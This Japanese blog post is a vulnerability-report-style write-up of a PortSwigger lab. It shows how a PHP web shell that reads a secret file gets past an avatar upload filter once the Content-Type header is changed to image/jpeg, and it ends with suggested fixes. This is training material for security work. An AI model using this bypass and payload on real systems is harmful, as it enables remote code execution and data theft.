Shikata Ga Nai

Private? There is no such things.

Lab: Web shell upload via Content-Type restriction bypassの脆弱性報告レポート

Hello there, ('ω')ノ

🛠 脆弱性報告レポート

タイトル: Web shell upload via Content-Type restriction bypass


✅ 概要(Summary)

アバター画像アップロード機能が Content-Type ヘッダのみに依存して MIME 検証を行っているため、image/jpeg を偽装した PHP ファイルをアップロードするとサーバ側で実行され、任意コード実行(RCE)が可能。


🔁 再現手順(Steps)

  1. https://<LAB-ID>.web-security-academy.netwiener:peter でログイン
  2. 以下の内容で exploit.php を作成
   <?php echo file_get_contents('/home/carlos/secret'); ?>
  1. アバター画像として適当な JPEG を一度アップロードし、Burp の POST /my-account/avatarRepeater へ送信
  2. Repeater で次のように編集して再送信

    • filename="exploit.php"
    • Content-Type: image/jpeg(ヘッダ偽装)
  3. レスポンスに Avatar image successfully updated と表示されることを確認
  4. 直後に以下のリクエストを送信
   GET /files/avatars/exploit.php HTTP/1.1
  1. レスポンスボディに /home/carlos/secret の内容が表示される

📸 結果(Result)

項目
アップロード応答 Avatar image successfully updated
RCE 成功 秘密ファイルの値がレスポンスに出力
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
-Content-Type: application/x-php
+Content-Type: image/jpeg

🧾 期待挙動(Expected)

アップロード時に 拡張子と実ファイルの MIME をサーバ側で検証し、.php を含む実行形式は拒否すべき。


⚠ 影響度(Impact)

  • 任意コード実行により 機密データ窃取・サーバ支配 が可能
  • OWASP A05:2021 – Security Misconfiguration
  • CWE-434 – Unrestricted File Upload

🛠 修正提案(Optional)

  1. 拡張子ホワイトリスト.jpg, .png 等)+サーバ側 MIME 検証 (finfo_file() 等)
  2. /files/avatars/PHP 実行不可 ディレクトリとして設定
  3. アップロードファイルを UUID で再命名し強制 .jpg 付与
  4. CI にファイルアップロード Fuzz テストを組込み、危険拡張子検知を自動化

Best regards, (^^ゞ